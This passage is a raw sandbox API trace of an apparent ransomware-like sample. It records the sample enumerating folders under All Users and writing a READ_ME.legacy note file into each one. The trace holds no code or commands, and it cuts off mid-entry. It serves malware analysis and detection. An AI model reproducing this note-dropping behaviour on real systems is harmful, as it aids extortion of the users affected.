(HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.423] GetLastError () returned 0x0 [0109.423] SetLastError (dwErrCode=0x0) [0109.423] GetLastError () returned 0x0 [0109.423] SetLastError (dwErrCode=0x0) [0109.423] GetLastError () returned 0x0 [0109.423] SetLastError (dwErrCode=0x0) [0109.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0109.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d208 [0109.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0109.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d208 | out: hHeap=0x520000) returned 1 [0109.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d280 [0109.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0109.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0109.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3598 [0109.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0109.424] GetLastError () returned 0x0 [0109.424] SetLastError (dwErrCode=0x0) [0109.424] GetLastError () returned 0x0 [0109.424] SetLastError (dwErrCode=0x0) [0109.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0109.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0109.424] GetLastError () returned 0x0 [0109.424] SetLastError (dwErrCode=0x0) [0109.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0109.424] CreateFileW (lpFileName="\\Users\\All Users\\Documents\\READ_ME.legacy" (normalized: "c:\\users\\all users\\documents\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0109.428] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.429] CloseHandle (hObject=0x588) returned 1 [0109.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0109.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3598 | out: hHeap=0x520000) returned 1 [0109.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0109.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0109.430] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0109.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.430] GetLastError () returned 0x0 [0109.430] SetLastError (dwErrCode=0x0) [0109.430] GetLastError () returned 0x0 [0109.430] SetLastError (dwErrCode=0x0) [0109.430] GetLastError () returned 0x0 [0109.430] SetLastError (dwErrCode=0x0) [0109.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d398 [0109.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0109.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d398 | out: hHeap=0x520000) returned 1 [0109.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0109.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0109.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0109.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0109.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0109.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0109.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0109.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5b58 [0109.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5b58 | out: hHeap=0x520000) returned 1 [0109.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d500 [0109.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0109.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0109.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x520000) returned 1 [0109.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0109.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0109.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0109.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0109.431] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0109.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.431] GetLastError () returned 0x0 [0109.431] SetLastError (dwErrCode=0x0) [0109.431] GetLastError () returned 0x0 [0109.431] SetLastError (dwErrCode=0x0) [0109.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0109.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.431] GetLastError () returned 0x0 [0109.431] SetLastError (dwErrCode=0x0) [0109.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d60 [0109.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0109.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d60 | out: hHeap=0x520000) returned 1 [0109.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0109.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0109.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0109.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0109.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33e8 [0109.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0109.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0109.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.432] GetLastError () returned 0x0 [0109.432] SetLastError (dwErrCode=0x0) [0109.432] GetLastError () returned 0x0 [0109.432] SetLastError (dwErrCode=0x0) [0109.432] GetLastError () returned 0x0 [0109.432] SetLastError (dwErrCode=0x0) [0109.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0109.432] CreateFileW (lpFileName="\\Users\\All Users\\Microsoft OneDrive\\READ_ME.legacy" (normalized: "c:\\users\\all users\\microsoft onedrive\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0109.442] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.443] CloseHandle (hObject=0x588) returned 1 [0109.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0109.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0109.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33e8 | out: hHeap=0x520000) returned 1 [0109.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0109.443] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Oracle", cAlternateFileName="")) returned 1 [0109.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0109.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0109.443] GetLastError () returned 0x0 [0109.443] SetLastError (dwErrCode=0x0) [0109.443] GetLastError () returned 0x0 [0109.444] SetLastError (dwErrCode=0x0) [0109.444] GetLastError () returned 0x0 [0109.444] SetLastError (dwErrCode=0x0) [0109.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0109.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3c0 [0109.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0109.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3568 [0109.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35b8 [0109.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0109.444] GetLastError () returned 0x0 [0109.444] SetLastError (dwErrCode=0x0) [0109.444] GetLastError () returned 0x0 [0109.444] SetLastError (dwErrCode=0x0) [0109.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0109.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.444] GetLastError () returned 0x0 [0109.444] SetLastError (dwErrCode=0x0) [0109.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0109.444] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\READ_ME.legacy" (normalized: "c:\\users\\all users\\oracle\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0109.445] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.446] CloseHandle (hObject=0x588) returned 1 [0109.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0109.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35b8 | out: hHeap=0x520000) returned 1 [0109.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3568 | out: hHeap=0x520000) returned 1 [0109.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0109.446] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0109.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0109.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.446] GetLastError () returned 0x0 [0109.446] SetLastError (dwErrCode=0x0) [0109.446] GetLastError () returned 0x0 [0109.446] SetLastError (dwErrCode=0x0) [0109.446] GetLastError () returned 0x0 [0109.447] SetLastError (dwErrCode=0x0) [0109.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0109.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d208 [0109.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0109.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d208 | out: hHeap=0x520000) returned 1 [0109.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0109.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0109.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33e8 [0109.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0109.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0109.447] GetLastError () returned 0x0 [0109.447] SetLastError (dwErrCode=0x0) [0109.447] GetLastError () returned 0x0 [0109.447] SetLastError (dwErrCode=0x0) [0109.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0109.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0109.447] GetLastError () returned 0x0 [0109.447] SetLastError (dwErrCode=0x0) [0109.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0109.447] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0109.466] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.467] CloseHandle (hObject=0x588) returned 1 [0109.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0109.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0109.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33e8 | out: hHeap=0x520000) returned 1 [0109.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0109.468] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc67edeb8, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc67edeb8, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc67edeb8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0109.468] GetLastError () returned 0x0 [0109.468] SetLastError (dwErrCode=0x0) [0109.468] GetLastError () returned 0x0 [0109.468] SetLastError (dwErrCode=0x0) [0109.468] GetLastError () returned 0x0 [0109.468] SetLastError (dwErrCode=0x0) [0109.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0109.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0109.468] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0109.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0109.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0109.468] GetLastError () returned 0x0 [0109.468] SetLastError (dwErrCode=0x0) [0109.468] GetLastError () returned 0x0 [0109.468] SetLastError (dwErrCode=0x0) [0109.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0109.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.468] GetLastError () returned 0x0 [0109.468] SetLastError (dwErrCode=0x0) [0109.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0109.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0109.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0109.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0109.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3498 [0109.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33e8 [0109.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0109.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0109.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0109.469] GetLastError () returned 0x0 [0109.469] SetLastError (dwErrCode=0x0) [0109.469] GetLastError () returned 0x0 [0109.469] SetLastError (dwErrCode=0x0) [0109.469] GetLastError () returned 0x0 [0109.469] SetLastError (dwErrCode=0x0) [0109.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0109.469] CreateFileW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\READ_ME.legacy" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.471] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0109.471] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.472] CloseHandle (hObject=0x588) returned 1 [0109.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0109.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33e8 | out: hHeap=0x520000) returned 1 [0109.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3498 | out: hHeap=0x520000) returned 1 [0109.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0109.473] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0109.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0109.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0109.473] GetLastError () returned 0x0 [0109.473] SetLastError (dwErrCode=0x0) [0109.473] GetLastError () returned 0x0 [0109.473] SetLastError (dwErrCode=0x0) [0109.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0109.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0109.473] GetLastError () returned 0x0 [0109.473] SetLastError (dwErrCode=0x0) [0109.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0109.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0109.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0109.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0109.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0109.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5a0 [0109.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d768 [0109.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35b8 [0109.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0109.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0109.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0109.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0109.474] GetLastError () returned 0x0 [0109.474] SetLastError (dwErrCode=0x0) [0109.474] GetLastError () returned 0x0 [0109.474] SetLastError (dwErrCode=0x0) [0109.474] GetLastError () returned 0x0 [0109.474] SetLastError (dwErrCode=0x0) [0109.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0109.474] CreateFileW (lpFileName="\\Users\\All Users\\SoftwareDistribution\\READ_ME.legacy" (normalized: "c:\\users\\all users\\softwaredistribution\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0109.475] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.476] CloseHandle (hObject=0x588) returned 1 [0109.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0109.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0109.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35b8 | out: hHeap=0x520000) returned 1 [0109.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d768 | out: hHeap=0x520000) returned 1 [0109.476] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, 